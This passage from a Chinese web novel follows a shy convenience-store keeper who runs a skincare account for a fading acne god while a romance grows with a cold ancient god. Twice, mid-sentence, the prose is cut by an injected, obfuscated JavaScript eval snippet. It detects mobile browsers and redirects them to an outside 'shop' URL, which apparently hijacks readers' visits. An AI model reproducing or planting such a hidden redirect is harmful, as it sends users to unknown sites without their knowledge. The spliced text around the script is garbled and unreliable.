他翻到最后一页，发现那一页是空白的。显然，这是为下一个即将登场的神明准备的。 林洅栖合上登记册，心里忽然有了一种沉甸甸的责任感。 他不再是一个被动接受这一切的店长了。他想要主动去做些什么。他想要帮助这些被遗忘的神明，让他们重新找到存在的价值。 他拿起笔，在“迷路神”那一页的备注后面，小心翼翼地加上了一行字： “慢递服务已开启，等待第一封信。” 写完之后，他满意地合上登记册，抬头看向窗外。 阳光正好，奶糖正懒洋洋地趴在窗台上晒着太阳，尾巴一摇一摆。而沈砚之，已经回到了他那个角落的座位，捧着他的书，仿佛刚才的一切都未曾发生。 但林洅栖知道，有些东西，已经不一样了。 他看着沈砚之那挺拔的、孤寂的背影，心里默默地想： 沈砚之，我不会让你一个人，永远地“遗忘”下去的。 我会让你，重新“铭记”这个世界的美好。 哪怕，这个过程会很漫长，很艰难。 但这一次，我不会再逃避了。 6. 神仙也要打零工6 自从发现了《神明登记册》的秘密后，林洅栖的生活变得充实而忙碌。他不再是一个被动等待的店长，而是主动承担起了“神明再就业规划师”的职责。 他每天都会翻看那本厚重的册子，研究那些濒临消散的小神，试图为他们在这个日新月异的世界里，找到一席之地。 这天下午，他正给奶糖的猫碗里添粮，便利店的门“叮铃”一声，被一阵无形的风推开。 一个穿着洗得发白的运动服、戴着黑框眼镜、脸上长着几颗青春痘的年轻男孩，鬼鬼祟祟地溜了进来。 他看起来像个刚高考完的学生，神情紧张而自卑，一进门就缩到了角落的阴影里，生怕被人看见。 林洅栖认得他。他就是登记册上的“痘神”。 一个在古代，因为人们祈求皮肤光滑、容貌美丽而香火鼎盛的神明。 到了现代，随着各种护肤品和医美技术的兴起，他的信仰几乎被彻底断绝。年轻人长了痘痘，第一反应是刷酸、涂药膏，而不是向一位虚无缥缈的神明祈祷。 “你……你好。”林洅栖鼓起勇气，主动走了过去。 男孩被吓了一跳，像一只受惊的兔子，猛地抬起头，眼神里充满了戒备。“你……你看得到我？” “嗯，我是这里的店长，林洅栖。”林洅栖尽量让自己的声音听起来温和无害，“我……我能帮你吗？” 痘神看着他，眼神从戒备慢慢变成了委屈和绝望。“没用的……他们都忘了我了……他们说我是‘青春期’的附属品，是‘内分泌失调’的产物，他们不信我了……”他的声音越来越小，身体也变得越来越透明，仿佛随时都会哭出来，然后彻底消失。 “不，不是的！”林洅栖急了，“他们不是不信你了，只是……只是他们找到了新的方式来和你‘沟通’！” “新的方式？”痘神愣住了。 “对！”林洅栖的大脑飞速运转，一个大胆的计划在他心中成形，“你有没有想过，你的神职，并不仅仅是‘消除痘痘’？” “那……那是什么？” “是‘接纳不完美的自己’！”林洅栖的眼睛里闪烁着兴奋的光芒，“是‘在焦虑的青春期里寻找自信’！是‘分享护肤经验，共同成长’！” 痘神被他这一连串闻所未闻的词汇说得一愣一愣的。 林洅栖越说越激动，他拉着痘神走到收银台，拿出自己的手机，点开了一个社交软件。 “你看，现在凡人都用这个交流。我们可以给你开一个账号，就叫‘痘神的小课堂’，你可以在上面分享护肤知识，倾听年轻人的烦恼，鼓励他们！你不是要消除痘痘，而是要陪伴他们度过这段长满痘痘的、迷茫又美好的时光！” “账号……分享……”痘神看着手机屏幕上花花绿绿的世界，眼神里充满了茫然和恐惧，“我……我不会……” “没关系，我教你！我来帮你运营！”林洅栖拍着胸脯，许下了承诺。 就这样，“有间便利店”的第一个神明创业项目，正式拉开了序幕。 林洅栖发挥了他社恐属性中“宅”和“钻研”的极致潜力。他开始没日没夜地研究社交媒体的运营法则，分析热门美妆博主的文案风格，学习如何拍摄光线柔和的图片。 沈砚之依旧坐在那个角落，像一尊沉默的雕塑。但林洅栖知道，他在看。每当他因为想不出一个好文案而抓耳挠腮时，总能感觉到一道清冷的目光落在他身上，那目光里没有催促，只有一种安静的、耐心的注视。 “不行，这个标题太普通了。”林洅栖删掉一行字，烦躁地抓了抓头发。 “‘战痘日记’第一天，你今天‘战痘’了吗？”沈砚之的声音毫无征兆地响起。 林洅栖猛地回头，只见沈砚之不知何时已经放下了书，正看着他。 “你……你在看？”林洅栖的脸微微一红，想起了仓库里那个意外的拥抱。 “你的动静太大了。”沈砚之淡淡地回答，仿佛只是在陈述一个事实。 林洅栖却觉得自己的心跳又乱了节拍。他低下头，将沈砚之给的标题输了进去。没想到，这个简单的标题，竟然在几个小时里，为他们吸引了第一个粉丝。 林洅栖兴奋得差点跳起来，他转头想向沈砚之道谢，却只看到对方又恢复了那副两耳不闻窗外事的样子，仿佛刚才开口说话的只是他的幻觉。 这样的日子持续了好几天。 林洅栖每天只睡三四个小时，其余时间全都投入到了“痘神账号”的运营中。 他帮痘神写文案，P图片，回复粉丝的每一条评论。痘神也从一开始的紧张不安，变得越来越自信，他开始主动分享一些古老而有效的护肤偏方，甚至会用自己的神力，为一些特别沮丧的粉丝送去一个“好梦”的祝福。 账号的粉丝数，从个位数，慢慢涨到了三位数，再到四位数。虽然不多，但每增加一个，痘神的身体就会凝实一分，脸上的笑容也真实一分。 林洅栖看着这一切，心中充满了前所未有的成就感。他觉得自己在做一件很有意义的事。 但代价是，他黑眼圈越来越重，整个人都瘦了一圈。 这天晚上，他为了研究一个新的推荐算法，熬到了凌晨三点。便利店里只剩下他书桌上的一盏台灯亮着，发出昏黄的光。 奶糖早就趴在沈砚之的腿上睡着了，而沈砚之，也像往常一样，坐在角落里，与黑暗融为一体。 “不行……这个算法的逻辑……到底是什么……”林洅栖揉着酸涩的眼睛，盯着电脑屏幕上密密麻麻的数据，感觉自己的脑子已经变成了一团浆糊。 他打了个哈欠，眼皮重得像挂了铅块。他想站起来去冲杯咖啡，但身体却完全不听使唤。他趴在桌子上，只想闭眼休息一分钟，就一分钟…… 桌上的屏幕还亮着，光标在文档末尾孤独地闪烁着。林洅栖的呼吸渐渐变得平稳而绵长，他就这样，在堆满资料和零食包装袋的桌子上，沉沉地睡了过去。 他做了一个很温暖的梦。 梦里，他不再是那个被世界遗忘的孤儿，他回到了小时候，奶奶正抱着他，用温暖的手轻轻拍着他的背，哼着古老的童谣。阳光透过窗棂，洒在他身上，暖洋洋的，舒服得让他想一直这样睡下去。 不知过了多久，他感觉身上一重，多了一样东西。那东西带着一股清冷的、如同雪后松林般的气息，却意外地并不冰冷，反而像一张柔软的、安全的羽翼，将他笼罩。 然后，他似乎听到了一声极轻的、带着无奈的叹息。 “真是个……不知道照顾自己的笨蛋。” 那声音很遥远，像是从天边传来，却又清晰地响在他的耳边。是沈砚之的声音。 林洅栖想睁开眼看看，但眼皮却重得怎么也抬不起来。他只是在梦里，无意识地往那片温暖的源头，又凑近了一点。 …… 再次醒来，是被窗外透进来的第一缕晨光刺痛了眼睛。 林洅栖迷迷糊糊地睁开眼，发现自己还趴在桌子上。脖子因为睡姿不当而僵硬酸痛，他动了动，感觉身上有什么东西滑了下去。 他低头一看，是一件黑色的、质地柔软的高领毛衣。 是沈砚之的衣服。 那股熟悉的、清冷的檀香味，此刻正萦绕在他的鼻尖，让他瞬间清醒过来。 他……他睡着了，然后，沈砚之给他盖了衣服？ 林洅栖的心脏“漏跳”了一拍，随即不受控制地狂跳起来。他猛地抬起头，环顾四周。 便利店很安静，晨光熹微，给所有的东西都镀上了一层柔和的金边。奶糖还在窗台上睡得正香，而沈砚之…… 沈砚之就靠在他旁边的椅子上，离他不到一米的距离。 他没有看书，只是闭着眼睛，靠在椅背上。长长的睫毛在眼下投下一片浅浅的阴影，呼吸轻缓而平稳，似乎睡着了。 林洅栖第一次看到睡着的沈砚之。 醒着的时候，他总是带着一种拒人于千里之外的疏离和冷漠，像一座万年不化的冰山。可睡着了的他，却卸下了所有的防备。 他的脸部线条不再那么紧绷，显得柔和了许多，那双总是蕴含着无尽寂寥的眼眸被睫毛覆盖，让他看起来不再那么遥不可及，反而有了一种……邻家般的、安静的易碎感。 林洅栖看呆了。他从未想过，这个掌管遗忘的古神，睡着的样子，竟然会这么……无害，甚至有点……可爱。 他的目光不受控制地，落在了沈砚之的耳尖上。 那里，在晨光的照射下，白皙得近乎透明，像一块上好的羊脂玉。 林洅栖的脸“腾”地一下就红了，仓库里那一幕，又不受控制地浮现在脑海里。他赶紧移开视线，目光落在了自己的桌子上。 就在他的手边，放着一个玻璃杯，杯子里是温热的牛奶，还冒着丝丝热气。 牛奶下面，压着一张便签纸，上面是沈砚之那笔锋凌厉、却又带着一种独特韵味的字迹。 【喝了。别再熬夜。】 简简单单的五个字，却像一股暖流，瞬间涌遍了林洅栖的四肢百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883449|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骸。 他看着那杯温牛奶，看着身上那件带着清冷气息的外套，再看看旁边睡得安稳的沈砚之，感觉自己的心脏像是被泡在了一罐温热的蜜糖里，甜得发腻，又酸得发胀。 这个总是嘴上说着“真是个笨蛋”的男人，却在他睡着的时候，为他盖上衣服，为他温好牛奶，甚至……还守在他身边，一夜未眠。 他为什么要这么做？ 他不是“遗忘之神”吗？他不是应该对一切都漠不关心吗？为什么……要对自己这么好？ 林洅栖的心里，充满了无数的疑问，但更多的，是一种难以言喻的、汹涌澎湃的喜悦和悸动。 他小心翼翼地拿起那杯牛奶，温度刚刚好，是他最喜欢的、不烫嘴的温热。他小口小口地喝着，感觉那股暖意从胃里，一直蔓延到心里，驱散了连日熬夜带来的所有疲惫。 他喝完牛奶，将杯子轻轻放回桌上。然后，他做了一个大胆的决定。 他站起身，动作轻柔得像一只猫，走到沈砚之面前，缓缓地蹲下身。 他终于可以近距离地、仔细地，观察这个让他心神不定的古神。 他的皮肤真的很白，是一种久不见天日的、近乎病态的白，但却细腻得看不见一丝毛孔。他的眉毛修长，鼻梁高挺，嘴唇的形状很漂亮，只是因为缺乏血色而显得有些淡薄。 林洅栖的目光，最终落在了他那双紧闭的眼睛上。他很想知道，那双漆黑的眼眸背后，到底藏着怎样的世界？是万古的虚空，还是……也和他一样，有着一丝对温暖的渴望？ 他看得入了迷，甚至没有注意到，沈砚之的睫毛，轻轻地颤动了一下。 “看够了吗？” 一个清冷的声音，毫无预兆地在头顶响起。 林洅栖吓得魂飞魄散，像一只被踩了电门的猫，猛地跳了起来，结果因为蹲得太久，腿一软，整个人不受控制地朝后倒去。 “啊！”他惊叫一声，以为自己要和大地来个亲密接触。 然而，预想中的疼痛没有传来。一只手，快如闪电地伸了过来，稳稳地抓住了他的手腕，将他拉了回来。 林洅栖再次撞进了一个坚实而温暖的怀抱。 和上次在仓库里一样，沈砚之又抱住了他。只不过这一次，是面对面。 林洅栖的脸埋在沈砚之的颈窝，能清晰地闻到他身上那股让他心安又心乱的檀香味，能感觉到他颈动脉平稳有力的跳动。 他的大脑，再次宕机了。 “你……你什么时候醒的？”林洅栖的声音因为紧张而变得结结巴巴。 “在你把口水快要流到我脸上的时候。”沈砚之的声音，带着一丝刚睡醒的沙哑，和一丝……不易察觉的戏谑。 “我……我没有！”林洅栖的脸瞬间涨得通红，他猛地抬起头，想要反驳，却对上了沈砚之那双已经睁开的眼眸。 那双眼睛，在晨光中，不再像深夜时那般漆黑冰冷，而是像两潭被阳光照耀的、深邃的湖水，里面闪烁着细碎的、温柔的光芒。 他正看着林洅栖，眼神里带着林洅栖看不懂的、复杂而深邃的情绪。 “你的脸很红。”沈砚之说。 “才……才没有！是……是天太热了！”林洅栖语无伦次地辩解着，却不敢再看他，只能把脸埋得更低。 沈砚之的嘴角，勾起了一抹极淡的、几乎看不见的弧度。他凑近了些，温热的呼吸喷洒在林洅栖的耳廓，让他忍不住缩了缩脖子。 “这都冬天了，你还热？” 那声音低沉而磁性，带着一丝明知故问的揶揄，像一根羽毛，轻轻地搔刮着林洅栖最敏感的神经。 林洅栖的大脑“嗡”的一声，彻底炸了。他感觉自己整个人都要烧起来了，从头顶一直烧到脚趾尖。他张着嘴，却一个字也说不出来，只能像一只被掐住脖子的鸭子，徒劳地瞪着眼睛。 看着他那副快要熟透了的样子，沈砚之眼里的笑意更深了。他没有再逗他，只是松开了抓着他手腕的手，却依旧没有推开他。他就这么静静地抱着他，任由晨光将两人的身影拉长，交织在一起。 过了许久，他才缓缓地开口，声音低沉而温柔，像一声叹息。 “林洅栖。” “……嗯？” “以后，别再熬夜了。” “……好。” 林洅栖小声地回答着，心里却像被投入了一颗小石子，漾开了一圈又一圈的涟漪。 他想，他大概是……真的栽在这个清冷又温柔的古神手里了，而且，栽得心甘情愿。 7. 神仙也要打零工7 林洅栖的社恐，是一种深入骨髓的顽疾。 在决定帮“痘神”运营社交媒体账号的那一刻，他感觉自己像一个不会游泳的人，主动跳进了波涛汹涌的大海。社交媒体，这个由无数目光、评论和评判构成的巨大广场，对他而言，比地狱还要可怕。 但他看着角落里那个身体半透明、连呼吸都带着绝望的痘神，又看了看那本沉甸甸的《神明登记册》，他知道自己没有退路。 “我……我试试。”他对痘神说，声音不大，却带着一种豁出去的决绝。 他的第一步，是“研究”。这个词说起来轻松，但对林洅栖来说，每一步都像在刀尖上行走。 他打开手机，点开那个最受欢迎的社交软件。光鲜亮丽的封面图、精心修饰的文字、热情洋溢的评论区……这一切都像一只只巨大的眼睛，盯着他，让他无所遁形。他感觉自己的呼吸都变得困难起来，手指在屏幕上悬了半天，也不敢点开任何一个热门博主的主页。 “冷静……冷静下来……”林洅栖对自己说，他深吸一口气，像是要进行一场神圣的仪式。 他戴上耳机，放起了最舒缓的纯音乐，将自己与外界隔绝。然后，他开始用一种近乎学术研究的态度，去剖析这个他恐惧的世界。 他没有看那些光鲜亮丽的博主，而是将关键词锁定在“痘痘”、“祛痘”、“皮肤”上。 很快，他发现了一个现象：大部分内容都在推销产品，或者展示“使用前后”的惊人对比图。那些图片上的皮肤，完美得像假人，评论区里充满了焦虑的询问和盲目的跟风。 “不对……不对……”林洅栖喃喃自语，“这不是他需要的。” 他关掉那些刺眼的图片，转而搜索一些更专业的、由皮肤科医生发布的内容。他开始研究什么是“水杨酸”，什么是“壬二酸”，什么是“果酸焕肤”；他了解“闭口”和“开口”的区别，明白“内分泌”和“饮食”对皮肤的影响。 他的书桌上，很快堆满了各种打印出来的论文和资料，旁边还放着一本厚厚的《皮肤生理学》。他看得极其认真，一边看一边做笔记，那专注的神情，仿佛不是在研究祛痘，而是在破解一道关乎世界存亡的密码。 沈砚之坐在角落里，静静地看着他。 他看着这个年轻人，从一开始的紧张抗拒，到后来的全情投入。他看着林洅栖因为一个专业术语而皱眉，又因为弄懂一个原理而露出孩子般的欣喜。他就像一株在贫瘠土壤里顽强生长的植物，虽然孱弱，却充满了生命力。 “水杨酸是脂溶性的，能深入毛孔溶解油脂……壬二酸可以抗炎，还能抑制黑色素……”林洅栖一边在笔记本上写写画画，一边小声地念叨着，像是在给自己上课。 “你的重点错了。”沈砚之的声音忽然响起。 林洅栖吓了一跳，回头看他，只见沈砚之不知何时已经放下了书，目光落在他那本写满笔记的本子上。 “哪里……哪里错了？”林洅栖紧张地问。 “你只说了‘是什么’，没有说‘为什么’。”沈砚之淡淡地说，“凡人不需要一个移动的百科全书，他们需要的是一个能理解他们痛苦的人。” 林洅栖愣住了。 “他们的痛苦，不只是痘痘本身。”沈砚之继续说道，声音里带着一种洞悉世事的淡漠，“更是因为痘痘而产生的自卑、焦虑，和被排斥的感觉。你告诉他们一百种祛痘的方法，不如告诉他们一件事——长痘痘，不是你的错。” 这句话，像一道闪电，劈开了林洅栖脑中的迷雾。 他猛地低头，看着自己笔记上那些密密麻麻的化学分子式和理论，忽然明白了什么。 对啊，他一直在寻找“术”，却忽略了“道”。他一直在研究如何“消除”，却忘了如何“接纳”。 “谢谢你。”他抬起头，真诚地对沈砚之说。这一次，他没有脸红，也没有躲闪，他的眼神清澈而坚定。 沈砚之看着他，那双漆黑的眼眸里，闪过一丝微不可察的赞许。他没有再说话，只是重新拿起了他的书，但林洅栖知道，他刚才那番话，比任何一本教科书都更有用。 林洅栖重新整理了思路。他决定，这个账号的核心，不应该是“战痘”，而应该是“和解”。 他花了整整两天的时间，写下了第一篇正式的文案。他删了又改，改了又删，每一个字都反复斟酌，生怕因为一句话说得不好，就伤害到那些敏感的读者。 最终，他定下了这样一个标题： 【痘痘护理小课堂|第一课：亲爱的，长痘痘不是你的错】 正文里，他没有推荐任何产品，也没有使用任何专业术语。他用最温和、最真诚的语气，写道： “我知道，你一定因为脸上的痘痘，有过很多难过的时刻。你不敢抬头看人，不敢在阳光下大笑，你试遍了所有的方法，却依旧不见好转。你开始怀疑自己，是不是不够干净，是不是做错了什么。 但我想告诉你，亲爱的，长痘痘，真的不是你的错。 它只是你的身体，在用一种笨拙的方式，告诉你：‘我最近有点累了’。可能是学习压力太大，可能是熬夜太久，也可能是你吃的东西，让你的内分泌有点小情绪。 它不是你的敌人，它是你身体的一部分。它是一个小小的瑕疵，就像月亮上的环形山，不完美，但真实。 从今天起，让我们一起，学着和它和平共处。我们不追求一夜之间变得光滑无瑕，我们只追求，在长着痘痘的日子里，也能找到自信和快乐。 这是我们的第一节课，也是最重要的一课：接纳自己，爱那个不完美的自己。” 写完之后，他选了一张图片。那不是一张完美的皮肤图，而是一张他特意拍的、便利店窗台上的那盆小小的多肉植物。那盆多肉长得并不规整，其中一片叶子上还有一个不起眼的小斑点，但它在阳光下，努力地生长着，充满了生命力。 他将文案和图片一起，点击了“发布”。 然后，他关掉手机，不敢再看。他感觉自己的心脏快要跳出胸膛，比第一次面对神明时还要紧张。他像一个交出了考卷的学生，在等待一场未知的审判。 时间一分一秒地过去。 一个小时后，他鼓起勇气，重新打开手机。 “叮咚。” 一个红色的通知图标，出现在屏幕上。 有评论了！ 林洅栖的心提到了嗓子眼，他颤抖着点了进去。 【用户A】：哭了……第一次有人这么说，我一直以为长痘痘是因为我自己脏。 【用户B】：博主是天使吗？这段话简直说到了我的心坎里。 【用户C】：那个多肉的比喻好温柔，谢谢博主。 一条又一条温暖的评论，像涓涓细流，汇聚成河，瞬间冲垮了林洅栖心中所有的恐惧和不安。他看着那些文字，眼眶不由自主地湿润了。 原来……原来这个世界上，有那么多和他一样，渴望被理解、被接纳的人。 他激动地抬起头，想和沈砚之分享这个好消息，却看到沈砚之不知何时已经站到了他的身后。 “看来，你的第一课，很成功。”沈砚之说。 “嗯！”林洅栖用力地点了点头，脸上是抑制不住的喜悦。 “别高兴得太早。”沈砚之的声音依旧平淡，“一时的感动，留不住人。你需要给他们真正有用的东西。” “我知道！”林洅栖说，他的眼神里充满了前所未有的光芒，“接下来，是第二课！” 有了第一次的成功，林洅栖的信心大增。他不再害怕那些评论和私信，反而开始享受这种与人交流的感觉。当然，他依旧是通过屏幕，用文字的方式。 他开始系统地更新“痘痘护理小课堂”。 【第二课：刷酸？别怕！我们来聊聊水杨酸的正确打开方式】 他不再像写论文那样罗列知识点，而是用一种朋友聊天的口吻。他把水杨酸比作一个“勤劳的管道工”，能深入毛孔，把堵塞的油脂垃圾清理干净。但他也强调，“管道工”不能天天请，不然会把“管道壁”弄薄。他用最通俗易懂的语言，解释了浓度、频率、建立耐受这些关键概念。 这篇文章下面，开始有人提问：“博主，我是敏感肌，能用吗？” 林洅栖看到这个问题，没有立刻回答。他花了半天的时间，查阅了大量关于敏感肌刷酸的资料，甚至模拟了几个不同的场景，然后才写下了详细的回复。 他的专业和耐心，为他赢得了更多的信任。 【第三课：告别“痘印”，我们聊聊“红色”和“黑色”的小秘密】 他解释了红色痘印是炎症，黑色痘印是色素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883450|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉淀，并给出了相应的护理建议——前者要抗炎，后者要美白。但他最后补充了一句：“但请记住，任何护肤品都需要时间。给皮肤一点时间，也给自己一点时间。” 这句话，又戳中了一大波人的心。 【第四课：吃辣会长痘吗？喝牛奶呢？关于饮食的真相】 他结合了现代医学研究和传统中医理论，给出了一个相对客观的答案：因人而异。他建议大家可以尝试记录饮食日记，找到真正诱发自己痘痘的“元凶”，而不是盲目地戒掉所有喜欢的食物。 他的账号，就像一股清流，在充斥着营销和焦虑的社交媒体里，显得格外特别。他不卖货，不制造恐慌，只是用最真诚、最科学的方式，分享知识，传递温暖。 而“痘神”，也在这个过程中，发生了奇妙的变化。 起初，他只是紧张地站在林洅栖旁边，看着林洅栖操作。后来，他开始主动提供一些“古老秘方”。 “那个……我们那个时代，会用金银花煮水来敷脸，可以消炎……”他小声地说。 林洅栖眼睛一亮，立刻去查了金银花的成分和功效，发现它确实含有天然的消炎成分。于是，他结合现代知识，写了一篇关于“草本护肤”的文章，并特别标注了“灵感来源：痘神大人”。 当“痘神大人”这个称呼出现在评论区，并收到一片“谢谢痘神大人”的回复时，那个半透明的男孩，身体猛地一凝。他难以置信地看着手机屏幕，那双总是充满自卑和怯懦的眼睛里，第一次，亮起了璀璨的光芒。 一缕缕微弱的、带着暖意的金色光芒，从那些评论中溢出，像萤火虫一样，飞向痘神，融入他的身体。他的身体，以肉眼可见的速度，凝实了许多。原本洗得发白的运动服，颜色也变得鲜艳了一些。 “我……我还有用……”他看着自己的双手，声音里带着一丝哽咽和难以置信的狂喜。 “你当然有用。”林洅栖笑着对他说，“你是‘痘神’，是‘痘痘护理小课堂’的灵魂人物。” 就在这时，林洅栖的手机“叮咚”一声，收到了一条特别的私信。 点开一看，是一个ID叫“深海里的星星”的用户发来的。 “博主，你好。我关注你很久了，你的每一篇文章我都有看。我是一名高三学生，因为压力和熬夜，脸上长了很多痘痘，我试过很多方法，都没用，甚至被同学嘲笑。我一度很抑郁，觉得人生都灰暗了。是你的文章，让我觉得，我不是一个人在战斗。谢谢你。” 林洅栖看着这条长长的私信，心里百感交集。他能感受到文字背后那个女孩的痛苦和挣扎。 他正想着如何回复，对方又发来了一条。 “博主，我能……能给你寄一封信吗？有些话，打字说不出来。我看到了你店门口的‘慢递服务’小黑板，我想，把我的烦恼，寄给未来的自己。” 林洅栖的心，猛地一跳。 慢递服务！ 那个他随手写下的、几乎已经被他遗忘的服务，竟然……真的有人要用了！ 他激动得手都有些发抖，立刻回复道：“当然可以！我们便利店随时欢迎你的信。地址是……” 他报出了便利店的地址。 “谢谢你！我明天就寄！”对方很快回复。 林洅栖放下手机，长长地舒了一口气。他感觉自己像是完成了一项伟大的使命。他不仅帮助了一个神明，还帮助了一个凡人。 他抬起头，看向沈砚之，发现沈砚之正看着他，那双漆黑的眼眸里，似乎比平时多了些什么。 “沈砚之，我们……我们收到第一封‘慢递’的信了。”林洅栖的语气里，充满了骄傲和喜悦。 “嗯。”沈砚之应了一声，然后说，“你做得很好。” 这简单的四个字，从沈砚之的口中说出来，却比任何华丽的辞藻，都更能让林洅栖感到满足。 他感觉自己的脸颊有些发烫，赶紧低下头，假装整理桌上的资料。 而沈砚之，看着他那副害羞又开心的样子，嘴角，也勾起了一抹极淡、却真实存在的笑意。 窗外的阳光，透过玻璃门，洒进店里，将一切都照得温暖而明亮。 奶糖在阳光下伸了个懒腰，痘神正对着手机屏幕傻笑，而林洅栖，则坐在书桌前，开始构思下一期的“痘痘护理小课堂”。 8. 神仙也要打零工8 “痘痘护理小课堂”的成功，像一剂强心针，彻底激活了林洅栖体内潜藏的、连他自己都未曾察觉的能量。他不再是那个蜷缩在收银台后面，等待世界末日的社恐青年。他有了目标，有了事业，哪怕这份事业的对象，是一群看不见摸不着的、濒临消散的神明，和一群隔着屏幕的、素未谋面的陌生人。 他的生活变得规律而充实。每天清晨，他不再是被动地被闹钟吵醒，而是被一种内在的使命感唤醒。他会先给奶糖添粮换水，然后坐在书桌前，花一个小时的时间，精心构思当天的推文内容。他会结合最新的私信提问，挑选出最具代表性的话题，然后用他那独有的、温柔而严谨的笔触，将复杂的护肤知识，化解成易于理解的文字。 痘神也彻底变了样。他不再是那个躲在阴影里、连呼吸都带着怯懦的半透明男孩。他的身体已经完全凝实，虽然脸上依旧带着几颗青春痘，但他的眼神里充满了自信和光彩。他成了林洅栖的“首席顾问”，时常会提供一些古老而有效的护肤偏方，甚至会用自己的神力，为那些在评论里表现出极度沮丧的粉丝，送去一个“好梦”的祝福。 林洅栖将这些祝福，巧妙地包装成“来自痘神大人的晚安魔法”，深受粉丝们的喜爱。账号的关注度，像滚雪球一样，从几千涨到了几万，甚至开始有护肤品牌找上门来，希望可以合作推广。 林洅栖都一一拒绝了。他深知，这个账号的根基，是真诚与信任，一旦沾染了商业气息，就会变味。 这天下午，他刚刚发布完一篇关于“如何科学选择防晒霜”的文章，正靠在椅子上，满意地看着后台不断上涨的阅读量。 沈砚之依旧坐在那个角落，像一尊亘古不变的雕塑。但林洅栖知道，他并非真的在看书。他能感觉到，那道清冷的目光，总会时不时地，从他身上掠过，像一阵无声的微风，带着一种让他心安的陪伴。 便利店的门被推开，一个穿着外卖制服的小哥风风火火地冲了进来，拿起一瓶冰水就跑到收银台前。 “老板，结账！” 林洅栖熟练地拿起水，准备扫码。 “微信还是支付宝？”他问。 “微信！”小哥说着，已经拿出了手机，调出了付款码。 林洅栖拿起扫码枪，“滴”的一声，支付完成。整个过程行云流水，不超过五秒钟。 小哥拿起水，拧开盖子就灌了一大口，然后心满意足地打了个嗝，转身又冲进了外面的炎炎烈日里。 林洅栖看着他的背影，笑了笑。这就是现代人的生活节奏，快得让人喘不过气，却又充满了烟火气。 他正准备坐下继续研究后台数据，却看到沈砚之站了起来。 他很少在白天主动站起来。林洅栖好奇地看着他，只见他走到饮料冰柜前，拉开门，目光在里面扫视了一圈，最后，拿出了一瓶和他身上那件毛衣同款的、包装极简的矿泉水。 林洅栖的心里，莫名地升起一丝期待。他以为沈砚之会像往常一样，直接走回座位，或者……会像那个外卖小哥一样，到他这里来“结账”。 然而，沈砚之拿着那瓶水，走到了收银台前，然后，就停住了。 他看着林洅栖，又看了看林洅栖手里的扫码枪，脸上露出了一种……林洅栖从未见过的、近乎于茫然和困惑的表情。 “那个……”沈砚之开口，声音里带着一丝他自己都未曾察觉的、不自然的僵硬，“这个，怎么给你？” 林洅栖愣了一下，随即反应过来。 沈砚之……他不会用手机支付？ 这个认知，像一颗小石子，投进了林洅栖的心湖，激起了一圈又一圈哭笑不得的涟漪。他可是掌管“遗忘”的古神啊，他见证了时代的更迭，科技的变迁，怎么会……被区区一个手机支付给难住了？ “你……用手机扫码吗？”林洅栖试探着问，努力憋着笑。 沈砚之的眉头微不可察地皱了一下，他从那身宽大的黑色长裤口袋里，掏出了一个手机。 那是一部款式非常老旧的手机，黑色的机身，没有任何花哨的装饰，屏幕也小得可怜。但它保养得极好，干净得像一块黑色的玉石。 沈砚之解锁了屏幕，林洅栖凑过去一看，发现他的手机界面，干净得令人发指。没有APP，没有wx，甚至连一张壁纸都没有，就是一片纯粹的、深邃的黑色屏幕上，孤零零地躺着几个系统自带的基础应用图标。 “我……没有那个……绿色的，或者蓝色的……东西。”沈砚之指着手机屏幕，语气里带着一丝不易察觉的挫败感。 林洅栖终于忍不住，“噗嗤”一声笑了出来。 沈砚之的目光立刻扫了过来，那眼神里带着一丝被冒犯的冷意。 “对……对不起！”林洅栖赶紧道歉，但嘴角依旧控制不住地上扬，“我不是笑你，我只是……觉得有点可爱。” “可爱？”沈砚之的眉头皱得更深了，他显然不理解这个词为什么会用在他身上。 “就是……就是……”林洅栖挠了挠头，不知道该如何解释。他索性直接说：“我来帮你弄吧。” 他伸出手，示意沈砚之把手机给他。 沈砚之犹豫了一下，还是将手机递了过去。他的指尖，不经意地，划过了林洅栖的手心。 那触感，冰凉如玉，却让林洅栖的心尖，猛地一颤。 他定了定神，开始操作沈砚之的手机。他发现，这部手机虽然老旧，但系统却异常流畅，没有任何预装的垃圾软件。他很快就在应用商店里找到了支付软件，下载，安装。 “好了，现在需要注册账号，绑定银行卡。” 林洅栖抬头看着沈砚之，“你有银行卡吗？” 沈砚之点了点头，又从另一个口袋里，拿出了一张同样是纯黑色的卡片。卡片上没有任何银行的标志，只有一串烫金的数字，和一个他看不懂的、类似家族徽章的图案。 林洅栖咽了口唾沫，感觉自己像在处理什么了不得的机密文件。他按照流程，输入手机号，设置密码，然后到了绑定银行卡的步骤。 “需要输入你的身份证号。”林洅栖说。 沈砚之报出了一串数字。那数字很长，林洅栖听着，感觉自己的大脑都快要转不过来了。 “好了，最后一步，设置一个支付密码。”林洅栖说，“你想想一个你不会忘记的数字。” 沈砚之沉默了。 他看着窗外，眼神变得悠远而深邃，仿佛陷入了某种漫长的回忆。时间一分一秒地过去，便利店里只剩下奶糖偶尔发出的、满足的呼噜声。 “想不出来吗？”林洅栖小声问。 “我忘了。”沈砚之收回目光，声音平淡得像在说一件与自己无关的事，“我忘了太多事情。每一个数字，都对应着一段被遗忘的记忆。我不知道，哪一个，还值得被用来当做密码。” 林洅栖的心，像是被一只手狠狠地揪了一下。 